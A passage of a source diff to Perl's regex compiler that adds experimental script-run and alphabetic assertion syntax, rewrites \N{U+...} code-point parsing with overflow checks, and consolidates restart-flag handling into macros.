+            case 's':
+                if (   memEQs(start_verb, verb_len, "sr")
+                    || memEQs(start_verb, verb_len, "script_run"))
+                {
+                    regnode * atomic;
+
+                    paren = 's';
+
+                   script_run:
+
+                    /* This indicates Unicode rules. */
+                    REQUIRE_UNI_RULES(flagp, NULL);
+
+                    if (! start_arg) {
+                        goto no_colon;
+                    }
+
+                    RExC_parse = start_arg;
+
+                    if (RExC_in_script_run) {
+
+                        /*  Nested script runs are treated as no-ops, because
+                         *  if the nested one fails, the outer one must as
+                         *  well.  It could fail sooner, and avoid (??{} with
+                         *  side effects, but that is explicitly documented as
+                         *  undefined behavior. */
+
+                        ret = NULL;
+
+                        if (paren == 's') {
+                            paren = ':';
+                            goto parse_rest;
+                        }
+
+                        /* But, the atomic part of a nested atomic script run
+                         * isn't a no-op, but can be treated just like a '(?>'
+                         * */
+                        paren = '>';
+                        goto parse_rest;
+                    }
+
+                    /* By doing this here, we avoid extra warnings for nested
+                     * script runs */
+                    if (PASS2) {
+                        Perl_ck_warner_d(aTHX_
+                            packWARN(WARN_EXPERIMENTAL__SCRIPT_RUN),
+                            "The script_run feature is experimental"
+                            REPORT_LOCATION, REPORT_LOCATION_ARGS(RExC_parse));
+
+                    }
+
+                    if (paren == 's') {
+                        /* Here, we're starting a new regular script run */
+                        ret = reg_node(pRExC_state, SROPEN);
+                        RExC_in_script_run = 1;
+                        is_open = 1;
+                        goto parse_rest;
+                    }
+
+                    /* Here, we are starting an atomic script run.  This is
+                     * handled by recursing to deal with the atomic portion
+                     * separately, enclosed in SROPEN ... SRCLOSE nodes */
+
+                    ret = reg_node(pRExC_state, SROPEN);
+
+                    RExC_in_script_run = 1;
+
+                    atomic = reg(pRExC_state, 'r', &flags, depth);
+                    if (flags & (RESTART_PASS1|NEED_UTF8)) {
+                        *flagp = flags & (RESTART_PASS1|NEED_UTF8);
+                        return NULL;
+                    }
+
+                    REGTAIL(pRExC_state, ret, atomic);
+
+                    REGTAIL(pRExC_state, atomic,
+                           reg_node(pRExC_state, SRCLOSE));
+
+                    RExC_in_script_run = 0;
+                    return ret;
+                }
+
+                break;
+
+            lookbehind_alpha_assertions:
+                RExC_seen |= REG_LOOKBEHIND_SEEN;
+                RExC_in_lookbehind++;
+                /*FALLTHROUGH*/
+
+            alpha_assertions:
+
+                if (PASS2) {
+                    Perl_ck_warner_d(aTHX_
+                        packWARN(WARN_EXPERIMENTAL__ALPHA_ASSERTIONS),
+                        "The alpha_assertions feature is experimental"
+                        REPORT_LOCATION, REPORT_LOCATION_ARGS(RExC_parse));
+                }
+
+                RExC_seen_zerolen++;
+
+                if (! start_arg) {
+                    goto no_colon;
+                }
+
+                /* An empty negative lookahead assertion simply is failure */
+                if (paren == 'A' && RExC_parse == start_arg) {
+                    ret=reganode(pRExC_state, OPFAIL, 0);
+                    nextchar(pRExC_state);
+                    return ret;
+	        }
+
+                RExC_parse = start_arg;
+                goto parse_rest;
+
+              no_colon:
+                vFAIL2utf8f(
+                "'(*%" UTF8f "' requires a terminating ':'",
+                UTF8fARG(UTF, verb_len, start_verb));
+		NOT_REACHED; /*NOTREACHED*/
+
+	    } /* End of switch */
 	    if ( ! op ) {
 	        RExC_parse += UTF ? UTF8SKIP(RExC_parse) : 1;
-                vFAIL2utf8f(
+                if (has_upper || verb_len == 0) {
+                    vFAIL2utf8f(
                     "Unknown verb pattern '%" UTF8f "'",
                     UTF8fARG(UTF, verb_len, start_verb));
+                }
+                else {
+                    vFAIL2utf8f(
+                    "Unknown '(*...)' construct '%" UTF8f "'",
+                    UTF8fARG(UTF, verb_len, start_verb));
+                }
 	    }
+            if ( RExC_parse == start_arg ) {
+                start_arg = NULL;
+            }
             if ( arg_required && !start_arg ) {
                 vFAIL3("Verb pattern '%.*s' has a mandatory argument",
                     verb_len, start_verb);
@@ -10859,6 +11164,7 @@
 		    paren = 1;
 		    goto capturing_parens;
 		}
+
                 RExC_seen |= REG_LOOKBEHIND_SEEN;
 		RExC_in_lookbehind++;
 		RExC_parse++;
@@ -11089,32 +11395,51 @@
 	    {
 	        int is_define= 0;
                 const int DEFINE_len = sizeof("DEFINE") - 1;
-		if (RExC_parse[0] == '?') {        /* (?(?...)) */
-                    if (   RExC_parse < RExC_end - 1
-                        && (   RExC_parse[1] == '='
-                            || RExC_parse[1] == '!'
-                            || RExC_parse[1] == '<'
-                            || RExC_parse[1] == '{')
-                    ) { /* Lookahead or eval. */
-			I32 flag;
-                        regnode *tail;
+		if (    RExC_parse < RExC_end - 1
+                    && (   (       RExC_parse[0] == '?'        /* (?(?...)) */
+                            && (   RExC_parse[1] == '='
+                                || RExC_parse[1] == '!'
+                                || RExC_parse[1] == '<'
+                                || RExC_parse[1] == '{'))
+		        || (       RExC_parse[0] == '*'        /* (?(*...)) */
+                            && (   memBEGINs(RExC_parse + 1,
+                                         (Size_t) (RExC_end - (RExC_parse + 1)),
+                                         "pla:")
+                                || memBEGINs(RExC_parse + 1,
+                                         (Size_t) (RExC_end - (RExC_parse + 1)),
+                                         "plb:")
+                                || memBEGINs(RExC_parse + 1,
+                                         (Size_t) (RExC_end - (RExC_parse + 1)),
+                                         "nla:")
+                                || memBEGINs(RExC_parse + 1,
+                                         (Size_t) (RExC_end - (RExC_parse + 1)),
+                                         "nlb:")
+                                || memBEGINs(RExC_parse + 1,
+                                         (Size_t) (RExC_end - (RExC_parse + 1)),
+                                         "positive_lookahead:")
+                                || memBEGINs(RExC_parse + 1,
+                                         (Size_t) (RExC_end - (RExC_parse + 1)),
+                                         "positive_lookbehind:")
+                                || memBEGINs(RExC_parse + 1,
+                                         (Size_t) (RExC_end - (RExC_parse + 1)),
+                                         "negative_lookahead:")
+                                || memBEGINs(RExC_parse + 1,
+                                         (Size_t) (RExC_end - (RExC_parse + 1)),
+                                         "negative_lookbehind:"))))
+                ) { /* Lookahead or eval. */
+                    I32 flag;
+                    regnode *tail;
 
-			ret = reg_node(pRExC_state, LOGICAL);
-			if (!SIZE_ONLY)
-			    ret->flags = 1;
+                    ret = reg_node(pRExC_state, LOGICAL);
+                    if (!SIZE_ONLY)
+                        ret->flags = 1;
 
-                        tail = reg(pRExC_state, 1, &flag, depth+1);
-                        if (flag & (RESTART_PASS1|NEED_UTF8)) {
-                            *flagp = flag & (RESTART_PASS1|NEED_UTF8);
-                            return NULL;
-                        }
-                        REGTAIL(pRExC_state, ret, tail);
-			goto insert_if;
-		    }
-		    /* Fall through to ‘Unknown switch condition’ at the
-		       end of the if/else chain. */
-		}
-		else if ( RExC_parse[0] == '<'     /* (?(<NAME>)...) */
+                    tail = reg(pRExC_state, 1, &flag, depth+1);
+                    RETURN_NULL_ON_RESTART(flag,flagp);
+                    REGTAIL(pRExC_state, ret, tail);
+                    goto insert_if;
+                }
+		else if (   RExC_parse[0] == '<'     /* (?(<NAME>)...) */
 		         || RExC_parse[0] == '\'' ) /* (?('NAME')...) */
 	        {
 	            char ch = RExC_parse[0] == '<' ? '>' : '\'';
@@ -11138,8 +11463,9 @@
                     ret = reganode(pRExC_state,NGROUPP,num);
                     goto insert_if_check_paren;
 		}
-		else if (RExC_end - RExC_parse >= DEFINE_len
-                        && strnEQ(RExC_parse, "DEFINE", DEFINE_len))
+		else if (memBEGINs(RExC_parse,
+                                   (STRLEN) (RExC_end - RExC_parse),
+                                   "DEFINE"))
                 {
 		    ret = reganode(pRExC_state,DEFINEP,0);
 		    RExC_parse += DEFINE_len;
@@ -11215,10 +11541,7 @@
                     REGTAIL(pRExC_state, ret, reganode(pRExC_state, IFTHEN, 0));
                     br = regbranch(pRExC_state, &flags, 1,depth+1);
 		    if (br == NULL) {
-                        if (flags & (RESTART_PASS1|NEED_UTF8)) {
-                            *flagp = flags & (RESTART_PASS1|NEED_UTF8);
-                            return NULL;
-                        }
+                        RETURN_NULL_ON_RESTART(flags,flagp);
                         FAIL2("panic: regbranch returned NULL, flags=%#" UVxf,
                               (UV) flags);
                     } else
@@ -11236,10 +11559,7 @@
                         lastbr = reganode(pRExC_state, IFTHEN, 0);
 
                         if (!regbranch(pRExC_state, &flags, 1,depth+1)) {
-                            if (flags & (RESTART_PASS1|NEED_UTF8)) {
-                                *flagp = flags & (RESTART_PASS1|NEED_UTF8);
-                                return NULL;
-                            }
+                            RETURN_NULL_ON_RESTART(flags,flagp);
                             FAIL2("panic: regbranch returned NULL, flags=%#" UVxf,
                                   (UV) flags);
                         }
@@ -11274,7 +11594,7 @@
                 vFAIL("Unknown switch condition (?(...))");
 	    }
 	    case '[':           /* (?[ ... ]) */
-                return handle_regex_sets(pRExC_state, NULL, flagp, depth,
+                return handle_regex_sets(pRExC_state, NULL, flagp, depth+1,
                                          oregcomp_parse);
             case 0: /* A NUL */
 		RExC_parse--; /* for vFAIL to print correctly */
@@ -11296,7 +11616,16 @@
                 goto parse_rest;
             } /* end switch */
 	}
-	else if (!(RExC_flags & RXf_PMf_NOCAPTURE)) {   /* (...) */
+	else {
+            if (*RExC_parse == '{' && PASS2) {
+                ckWARNregdep(RExC_parse + 1,
+                            "Unescaped left brace in regex is "
+                            "deprecated here (and will be fatal "
+                            "in Perl 5.32), passed through");
+            }
+            /* Not bothering to indent here, as the above 'else' is temporary
+             * */
+        if (!(RExC_flags & RXf_PMf_NOCAPTURE)) {   /* (...) */
 	  capturing_parens:
 	    parno = RExC_npar;
 	    RExC_npar++;
@@ -11322,6 +11651,7 @@
             paren = ':';
 	    ret = NULL;
 	}
+        }
     }
     else                        /* ! paren */
 	ret = NULL;
@@ -11334,10 +11664,7 @@
     /*     branch_len = (paren != 0); */
 
     if (br == NULL) {
-        if (flags & (RESTART_PASS1|NEED_UTF8)) {
-            *flagp = flags & (RESTART_PASS1|NEED_UTF8);
-            return NULL;
-        }
+        RETURN_NULL_ON_RESTART(flags,flagp);
         FAIL2("panic: regbranch returned NULL, flags=%#" UVxf, (UV) flags);
     }
     if (*RExC_parse == '|') {
@@ -11381,10 +11708,7 @@
         br = regbranch(pRExC_state, &flags, 0, depth+1);
 
 	if (br == NULL) {
-            if (flags & (RESTART_PASS1|NEED_UTF8)) {
-                *flagp = flags & (RESTART_PASS1|NEED_UTF8);
-                return NULL;
-            }
+            RETURN_NULL_ON_RESTART(flags,flagp);
             FAIL2("panic: regbranch returned NULL, flags=%#" UVxf, (UV) flags);
         }
         REGTAIL(pRExC_state, lastbr, br);               /* BRANCH -> BRANCH. */
@@ -11411,12 +11735,21 @@
             Set_Node_Offset(ender,RExC_parse+1); /* MJD */
             Set_Node_Length(ender,1); /* MJD */
 	    break;
+	case 's':
+	    ender = reg_node(pRExC_state, SRCLOSE);
+            RExC_in_script_run = 0;
+	    break;
 	case '<':
+        case 'a':
+        case 'A':
+        case 'b':
+        case 'B':
 	case ',':
 	case '=':
 	case '!':
 	    *flagp &= ~HASWIDTH;
 	    /* FALLTHROUGH */
+        case 't':   /* aTomic */
 	case '>':
 	    ender = reg_node(pRExC_state, SUCCEED);
 	    break;
@@ -11502,14 +11835,18 @@
 
     {
         const char *p;
-        static const char parens[] = "=!<,>";
+         /* Even/odd or x=don't care: 010101x10x */
+        static const char parens[] = "=!aA<,>Bbt";
+         /* flag below is set to 0 up through 'A'; 1 for larger */
 
 	if (paren && (p = strchr(parens, paren))) {
 	    U8 node = ((p - parens) % 2) ? UNLESSM : IFMATCH;
-	    int flag = (p - parens) > 1;
+	    int flag = (p - parens) > 3;
 
-	    if (paren == '>')
+	    if (paren == '>' || paren == 't') {
 		node = SUSPEND, flag = 0;
+            }
+
 	    reginsert(pRExC_state, node,ret, depth+1);
             Set_Node_Cur_Length(ret, parse_start);
 	    Set_Node_Offset(ret, parse_start + 1);
@@ -11595,10 +11932,7 @@
 	if (latest == NULL) {
 	    if (flags & TRYAGAIN)
 		continue;
-            if (flags & (RESTART_PASS1|NEED_UTF8)) {
-                *flagp = flags & (RESTART_PASS1|NEED_UTF8);
-                return NULL;
-            }
+            RETURN_NULL_ON_RESTART(flags,flagp);
             FAIL2("panic: regpiece returned NULL, flags=%#" UVxf, (UV) flags);
 	}
 	else if (ret == NULL)
@@ -11668,11 +12002,8 @@
 
     ret = regatom(pRExC_state, &flags,depth+1);
     if (ret == NULL) {
-	if (flags & (TRYAGAIN|RESTART_PASS1|NEED_UTF8))
-	    *flagp |= flags & (TRYAGAIN|RESTART_PASS1|NEED_UTF8);
-        else
-            FAIL2("panic: regatom returned NULL, flags=%#" UVxf, (UV) flags);
-	return(NULL);
+        RETURN_NULL_ON_RESTART_OR_FLAGS(flags,flagp,TRYAGAIN);
+        FAIL2("panic: regatom returned NULL, flags=%#" UVxf, (UV) flags);
     }
 
     op = *RExC_parse;
@@ -11743,7 +12074,6 @@
 	    if ((flags&SIMPLE)) {
                 if (min == 0 && max == REG_INFTY) {
                     reginsert(pRExC_state, STAR, ret, depth+1);
-                    ret->flags = 0;
                     MARK_NAUGHTY(4);
                     RExC_seen |= REG_UNBOUNDED_QUANTIFIER_SEEN;
                     goto nest_check;
@@ -11750,7 +12080,6 @@
                 }
                 if (min == 1 && max == REG_INFTY) {
                     reginsert(pRExC_state, PLUS, ret, depth+1);
-                    ret->flags = 0;
                     MARK_NAUGHTY(3);
                     RExC_seen |= REG_UNBOUNDED_QUANTIFIER_SEEN;
                     goto nest_check;
@@ -11863,7 +12192,6 @@
         ender = reg_node(pRExC_state, SUCCEED);
         REGTAIL(pRExC_state, ret, ender);
         reginsert(pRExC_state, SUSPEND, ret, depth+1);
-        ret->flags = 0;
         ender = reg_node(pRExC_state, TAIL);
         REGTAIL(pRExC_state, ret, ender);
     }
@@ -11914,8 +12242,8 @@
   * *node_p, nor *code_point_p, nor *flagp.
   *
   * If <cp_count> is not NULL, the caller wants to know the length (in code
-  * points) that this \N sequence matches.  This is set even if the function
-  * returns FALSE, as detailed below.
+  * points) that this \N sequence matches.  This is set, and the input is
+  * parsed for errors, even if the function returns FALSE, as detailed below.
   *
   * There are 5 possibilities here, as detailed in the next 5 paragraphs.
   *
@@ -11963,10 +12291,14 @@
   */
 
     char * endbrace;    /* points to '}' following the name */
-    char *endchar;	/* Points to '.' or '}' ending cur char in the input
-                           stream */
     char* p = RExC_parse; /* Temporary */
 
+    SV * substitute_parse = NULL;
+    char *orig_end;
+    char *save_start;
+    I32 flags;
+    Size_t count = 0;   /* code point count kept internally by this function */
+
     GET_RE_DEBUG_FLAGS_DECL;
 
     PERL_ARGS_ASSERT_GROK_BSLASH_N;
@@ -11990,46 +12322,38 @@
      * [^\n].  The latter is assumed when the {...} following the \N is a legal
      * quantifier, or there is no '{' at all */
     if (*p != '{' || regcurly(p)) {
-	RExC_parse = p;
+        RExC_parse = p;
         if (cp_count) {
             *cp_count = -1;
         }
 
-	if (! node_p) {
+        if (! node_p) {
             return FALSE;
         }
 
-	*node_p = reg_node(pRExC_state, REG_ANY);
-	*flagp |= HASWIDTH|SIMPLE;
-	MARK_NAUGHTY(1);
+        *node_p = reg_node(pRExC_state, REG_ANY);
+        *flagp |= HASWIDTH|SIMPLE;
+        MARK_NAUGHTY(1);
         Set_Node_Length(*node_p, 1); /* MJD */
-	return TRUE;
+        return TRUE;
     }
 
-    /* Here, we have decided it should be a named character or sequence */
-
     /* The test above made sure that the next real character is a '{', but
      * under the /x modifier, it could be separated by space (or a comment and
      * \n) and this is not allowed (for consistency with \x{...} and the
      * tokenizer handling of \N{NAME}). */
     if (*RExC_parse != '{') {
-	vFAIL("Missing braces on \\N{}");
+        vFAIL("Missing braces on \\N{}");
     }
 
-    RExC_parse++;	/* Skip past the '{' */
+    RExC_parse++;       /* Skip past the '{' */
 
-    if (! (endbrace = strchr(RExC_parse, '}'))) { /* no trailing brace */
+    endbrace = (char *) memchr(RExC_parse, '}', RExC_end - RExC_parse);
+    if (! endbrace) { /* no trailing brace */
         vFAIL2("Missing right brace on \\%c{}", 'N');
     }
-    else if(!(endbrace == RExC_parse		/* nothing between the {} */
-              || (endbrace - RExC_parse >= 2	/* U+ (bad hex is checked... */
-                  && strnEQ(RExC_parse, "U+", 2)))) /* ... below for a better
-                                                       error msg) */
-    {
-	RExC_parse = endbrace;	/* position msg's '<--HERE' */
-	vFAIL("\\N{NAME} must be resolved by the lexer");
-    }
 
+    /* Here, we have decided it should be a named character or sequence */
     REQUIRE_UNI_RULES(flagp, FALSE); /* Unicode named chars imply Unicode
                                         semantics */
 
@@ -12042,7 +12366,7 @@
             *cp_count = 0;
         }
         nextchar(pRExC_state);
-	if (! node_p) {
+        if (! node_p) {
             return FALSE;
         }
 
@@ -12050,157 +12374,182 @@
         return TRUE;
     }
 
-    RExC_parse += 2;	/* Skip past the 'U+' */
+    /* If we haven't got something that begins with 'U+', then it didn't get lexed. */
+    if (   endbrace - RExC_parse < 2
+        || strnNE(RExC_parse, "U+", 2))
+    {
+        RExC_parse = endbrace;  /* position msg's '<--HERE' */
+        vFAIL("\\N{NAME} must be resolved by the lexer");
+    }
 
-    /* Because toke.c has generated a special construct for us guaranteed not
-     * to have NULs, we can use a str function */
-    endchar = RExC_parse + strcspn(RExC_parse, ".}");
+        /* This code purposely indented below because of future changes coming */
 
-    /* Code points are separated by dots.  If none, there is only one code
-     * point, and is terminated by the brace */
+        /* We can get to here when the input is \N{U+...} or when toke.c has
+         * converted a name to the \N{U+...} form.  This include changing a
+         * name that evaluates to multiple code points to \N{U+c1.c2.c3 ...} */
 
-    if (endchar >= endbrace) {
-	STRLEN length_of_hex;
-	I32 grok_hex_flags;
+        RExC_parse += 2;    /* Skip past the 'U+' */
 
-        /* Here, exactly one code point.  If that isn't what is wanted, fail */
-        if (! code_point_p) {
-            RExC_parse = p;
-            return FALSE;
-        }
+        /* Code points are separated by dots.  The '}' terminates the whole
+         * thing. */
 
-        /* Convert code point from hex */
-	length_of_hex = (STRLEN)(endchar - RExC_parse);
-	grok_hex_flags = PERL_SCAN_ALLOW_UNDERSCORES
-                           | PERL_SCAN_DISALLOW_PREFIX
+        do {    /* Loop until the ending brace */
+            UV cp = 0;
+            char * start_digit;     /* The first of the current code point */
+            if (! isXDIGIT(*RExC_parse)) {
+                RExC_parse++;
+                vFAIL("Invalid hexadecimal number in \\N{U+...}");
+            }
 
-                             /* No errors in the first pass (See [perl
-                              * #122671].)  We let the code below find the
-                              * errors when there are multiple chars. */
-                           | ((SIZE_ONLY)
-                              ? PERL_SCAN_SILENT_ILLDIGIT
-                              : 0);
+            start_digit = RExC_parse;
+            count++;
 
-        /* This routine is the one place where both single- and double-quotish
-         * \N{U+xxxx} are evaluated.  The value is a Unicode code point which
-         * must be converted to native. */
-	*code_point_p = UNI_TO_NATIVE(grok_hex(RExC_parse,
-                                         &length_of_hex,
-                                         &grok_hex_flags,
-                                         NULL));
+            /* Loop through the hex digits of the current code point */
+            do {
+                /* Adding this digit will shift the result 4 bits.  If that
+                 * result would be above IV_MAX, it's overflow */
+                if (cp > IV_MAX >> 4) {
 
-	/* The tokenizer should have guaranteed validity, but it's possible to
-         * bypass it by using single quoting, so check.  Don't do the check
-         * here when there are multiple chars; we do it below anyway. */
-        if (length_of_hex == 0
-            || length_of_hex != (STRLEN)(endchar - RExC_parse) )
-        {
-            RExC_parse += length_of_hex;	/* Includes all the valid */
-            RExC_parse += (RExC_orig_utf8)	/* point to after 1st invalid */
-                            ? UTF8SKIP(RExC_parse)
-                            : 1;
-            /* Guard against malformed utf8 */
-            if (RExC_parse >= endchar) {
-                RExC_parse = endchar;
+                    /* Find the end of the code point */
+                    do {
+                        RExC_parse ++;
+                    } while (isXDIGIT(*RExC_parse) || *RExC_parse == '_');
+
+                    /* Be sure to synchronize this message with the similar one
+                     * in utf8.c */
+                    vFAIL4("Use of code point 0x%.*s is not allowed; the"
+                        " permissible max is 0x%" UVxf,
+                        (int) (RExC_parse - start_digit), start_digit, IV_MAX);
+                }
+
+                /* Accumulate this (valid) digit into the running total */
+                cp  = (cp << 4) + READ_XDIGIT(RExC_parse);
+
+                /* READ_XDIGIT advanced the input pointer.  Ignore a single
+                 * underscore separator */
+                if (*RExC_parse == '_' && isXDIGIT(RExC_parse[1])) {
+                    RExC_parse++;
+                }
+            } while (isXDIGIT(*RExC_parse));
+
+            /* Here, have accumulated the next code point */
+            if (RExC_parse >= endbrace) {   /* If done ... */
+                if (count != 1) {
+                    goto do_concat;
+                }
+
+                /* Here, is a single code point; fail if doesn't want that */
+                if (! code_point_p) {
+                    RExC_parse = p;
+                    return FALSE;
+                }
+
+                /* A single code point is easy to handle; just return it */
+                *code_point_p = UNI_TO_NATIVE(cp);
+                RExC_parse = endbrace;
+                nextchar(pRExC_state);
+                return TRUE;
             }
-            vFAIL("Invalid hexadecimal number in \\N{U+...}");
-        }
 
-        RExC_parse = endbrace + 1;
-        return TRUE;
-    }
-    else {  /* Is a multiple character sequence */
-	SV * substitute_parse;
-	STRLEN len;
-	char *orig_end = RExC_end;
-	char *save_start = RExC_start;
-        I32 flags;
+            /* Here, the only legal thing would be a multiple character
+             * sequence (of the form "\N{U+c1.c2. ... }".   So the next
+             * character must be a dot (and the one after that can't be the
+             * endbrace, or we'd have something like \N{U+100.} ) */
+            if (*RExC_parse != '.' || RExC_parse + 1 >= endbrace) {
+                RExC_parse += (RExC_orig_utf8)  /* point to after 1st invalid */
+                                ? UTF8SKIP(RExC_parse)
+                                : 1;
+                if (RExC_parse >= endbrace) { /* Guard against malformed utf8 */
+                    RExC_parse = endbrace;
+                }
+                vFAIL("Invalid hexadecimal number in \\N{U+...}");
+            }
 
-        /* Count the code points, if desired, in the sequence */
-        if (cp_count) {
-            *cp_count = 0;
-            while (RExC_parse < endbrace) {
-                /* Point to the beginning of the next character in the sequence. */
-                RExC_parse = endchar + 1;
-                endchar = RExC_parse + strcspn(RExC_parse, ".}");
-                (*cp_count)++;
+            /* Here, looks like its really a multiple character sequence.  Fail
+             * if that's not what the caller wants.  But continue with counting
+             * and error checking if they still want a count */
+            if (! node_p && ! cp_count) {
+                return FALSE;
             }
-        }
 
-        /* Fail if caller doesn't want to handle a multi-code-point sequence.
-         * But don't backup up the pointer if the caller want to know how many
-         * code points there are (they can then handle things) */
-        if (! node_p) {
-            if (! cp_count) {
-                RExC_parse = p;
+            /* What is done here is to convert this to a sub-pattern of the
+             * form \x{char1}\x{char2}...  and then call reg recursively to
+             * parse it (enclosing in "(?: ... )" ).  That way, it retains its
+             * atomicness, while not having to worry about special handling
+             * that some code points may have.  We don't create a subpattern,
+             * but go through the motions of code point counting and error
+             * checking, if the caller doesn't want a node returned. */
+
+            if (node_p && count == 1) {
+                substitute_parse = newSVpvs("?:");
             }
-            return FALSE;
-        }
 
-	/* What is done here is to convert this to a sub-pattern of the form
-         * \x{char1}\x{char2}...  and then call reg recursively to parse it
-         * (enclosing in "(?: ... )" ).  That way, it retains its atomicness,
-         * while not having to worry about special handling that some code
-         * points may have. */
+          do_concat:
 
-	substitute_parse = newSVpvs("?:");
+            if (node_p) {
+                /* Convert to notation the rest of the code understands */
+                sv_catpv(substitute_parse, "\\x{");
+                sv_catpvn(substitute_parse, start_digit,
+                                            RExC_parse - start_digit);
+                sv_catpv(substitute_parse, "}");
+            }
 
-	while (RExC_parse < endbrace) {
+            /* Move to after the dot (or ending brace the final time through.)
+             * */
+            RExC_parse++;
+            count++;
 
-	    /* Convert to notation the rest of the code understands */
-	    sv_catpv(substitute_parse, "\\x{");
-	    sv_catpvn(substitute_parse, RExC_parse, endchar - RExC_parse);
-	    sv_catpv(substitute_parse, "}");
+        } while (RExC_parse < endbrace);
 
-	    /* Point to the beginning of the next character in the sequence. */
-	    RExC_parse = endchar + 1;
-	    endchar = RExC_parse + strcspn(RExC_parse, ".}");
+        if (! node_p) { /* Doesn't want the node */
+            assert (cp_count);
 
-	}
+            *cp_count = count;
+            return FALSE;
+        }
+
         sv_catpv(substitute_parse, ")");
 
-        RExC_parse = RExC_start = RExC_adjusted_start = SvPV(substitute_parse,
-                                                             len);
-
-	/* Don't allow empty number */
-	if (len < (STRLEN) 8) {
-            RExC_parse = endbrace;
-	    vFAIL("Invalid hexadecimal number in \\N{U+...}");
-	}
-	RExC_end = RExC_parse + len;
-
-        /* The values are Unicode, and therefore not subject to recoding, but
-         * have to be converted to native on a non-Unicode (meaning non-ASCII)
-         * platform. */
 #ifdef EBCDIC
+        /* The values are Unicode, and therefore have to be converted to native
+         * on a non-Unicode (meaning non-ASCII) platform. */
         RExC_recode_x_to_native = 1;
 #endif
 
-        if (node_p) {
-            if (!(*node_p = reg(pRExC_state, 1, &flags, depth+1))) {
-                if (flags & (RESTART_PASS1|NEED_UTF8)) {
-                    *flagp = flags & (RESTART_PASS1|NEED_UTF8);
-                    return FALSE;
-                }
-                FAIL2("panic: reg returned NULL to grok_bslash_N, flags=%#" UVxf,
-                    (UV) flags);
-            }
-            *flagp |= flags&(HASWIDTH|SPSTART|SIMPLE|POSTPONED);
-        }
+    /* Here, we have the string the name evaluates to, ready to be parsed,
+     * stored in 'substitute_parse' as a series of valid "\x{...}\x{...}"
+     * constructs.  This can be called from within a substitute parse already.
+     * The error reporting mechanism doesn't work for 2 levels of this, but the
+     * code above has validated this new construct, so there should be no
+     * errors generated by the below.*/
+    save_start = RExC_start;
+    orig_end = RExC_end;
 
-        /* Restore the saved values */
-	RExC_start = RExC_adjusted_start = save_start;
-	RExC_parse = endbrace;
-	RExC_end = orig_end;
+    RExC_parse = RExC_start = SvPVX(substitute_parse);
+    RExC_end = RExC_parse + SvCUR(substitute_parse);
+
+    *node_p = reg(pRExC_state, 1, &flags, depth+1);
+
+    /* Restore the saved values */
+    RExC_start = save_start;
+    RExC_parse = endbrace;
+    RExC_end = orig_end;
 #ifdef EBCDIC
-        RExC_recode_x_to_native = 0;
+    RExC_recode_x_to_native = 0;
 #endif
 
-        SvREFCNT_dec_NN(substitute_parse);
-        nextchar(pRExC_state);
+    SvREFCNT_dec_NN(substitute_parse);
 
-        return TRUE;
+    if (! *node_p) {
+        RETURN_X_ON_RESTART(FALSE, flags,flagp);
+        FAIL2("panic: reg returned NULL to grok_bslash_N, flags=%#" UVxf,
+            (UV) flags);
     }
+    *flagp |= flags&(HASWIDTH|SPSTART|SIMPLE|POSTPONED);
+
+    nextchar(pRExC_state);
+
+    return TRUE;
 }
 
 
@@ -12399,7 +12748,53 @@
     }
 }
 
+STATIC bool
+S_new_regcurly(const char *s, const char *e)
+{
+    /* This is a temporary function designed to match the most lenient form of
+     * a {m,n} quantifier we ever envision, with either number omitted, and
+     * spaces anywhere between/before/after them.
+     *
+     * If this function fails, then the string it matches is very unlikely to
+     * ever be considered a valid quantifier, so we can allow the '{' that
+     * begins it to be considered as a literal */
 
+    bool has_min = FALSE;
+    bool has_max = FALSE;
+
+    PERL_ARGS_ASSERT_NEW_REGCURLY;
+
+    if (s >= e || *s++ != '{')
+	return FALSE;
+
+    while (s < e && isSPACE(*s)) {
+        s++;
+    }
+    while (s < e && isDIGIT(*s)) {
+        has_min = TRUE;
+        s++;
+    }
+    while (s < e && isSPACE(*s)) {
+        s++;
+    }
+
+    if (*s == ',') {
+	s++;
+        while (s < e && isSPACE(*s)) {
+            s++;
+        }
+        while (s < e && isDIGIT(*s)) {
+            has_max = TRUE;
+            s++;
+        }
+        while (s < e && isSPACE(*s)) {
+            s++;
+        }
+    }
+
+    return s < e && *s == '}' && (has_min || has_max);
+}
+
 /* Parse backref decimal value, unless it's too big to sensibly be a backref,
  * in which case return I32_MAX (rather than possibly 32-bit wrapping) */
 
@@ -12545,8 +12940,7 @@
                        NULL,
                        NULL);
         if (ret == NULL) {
-            if (*flagp & (RESTART_PASS1|NEED_UTF8))
-                return NULL;
+            RETURN_NULL_ON_RESTART_FLAGP_OR_FLAGS(flagp,NEED_UTF8);
             FAIL2("panic: regclass returned NULL to regatom, flags=%#" UVxf,
                   (UV) *flagp);
         }
@@ -12570,10 +12964,7 @@
 		    }
 		    goto tryagain;
 		}
-                if (flags & (RESTART_PASS1|NEED_UTF8)) {
-                    *flagp = flags & (RESTART_PASS1|NEED_UTF8);
-                    return NULL;
-                }
+                RETURN_NULL_ON_RESTART(flags,flagp);
                 FAIL2("panic: reg returned NULL to regatom, flags=%#" UVxf,
                                                                  (UV) flags);
 	}
@@ -12685,9 +13076,11 @@
             else {
                 STRLEN length;
                 char name = *RExC_parse;
-                char * endbrace;
+                char * endbrace = NULL;
                 RExC_parse += 2;
-                endbrace = strchr(RExC_parse, '}');
+                if (RExC_parse < RExC_end) {
+                    endbrace = (char *) memchr(RExC_parse, '}', RExC_end - RExC_parse);
+                }
 
                 if (! endbrace) {
                     vFAIL2("Missing right brace on \\%c{}", name);
@@ -12708,8 +13101,8 @@
                 }*/
                 switch (*RExC_parse) {
                     case 'g':
-                        if (length != 1
-                            && (length != 3 || strnNE(RExC_parse + 1, "cb", 2)))
+                        if (    length != 1
+                            && (memNEs(RExC_parse + 1, length - 1, "cb")))
                         {
                             goto bad_bound_type;
                         }
@@ -12833,6 +13226,12 @@
             /* FALLTHROUGH */
 
           finish_meta_pat:
+            if (   UCHARAT(RExC_parse + 1) == '{'
+                && UNLIKELY(! new_regcurly(RExC_parse + 1, RExC_end)))
+            {
+                RExC_parse += 2;
+                vFAIL("Unescaped left brace in regex is illegal here");
+            }
 	    nextchar(pRExC_state);
             Set_Node_Length(ret, 2); /* MJD */
 	    break;
@@ -12850,8 +13249,7 @@
                            TRUE, /* Allow an optimized regnode result */
                            NULL,
                            NULL);
-            if (*flagp & RESTART_PASS1)
-                return NULL;
+            RETURN_NULL_ON_RESTART_FLAGP(flagp);
             /* regclass() can only return RESTART_PASS1 and NEED_UTF8 if
              * multi-char folds are allowed.  */
             if (!ret)
@@ -12890,8 +13288,7 @@
                 break;
             }
 
-            if (*flagp & RESTART_PASS1)
-                return NULL;
+            RETURN_NULL_ON_RESTART_FLAGP(flagp);
 
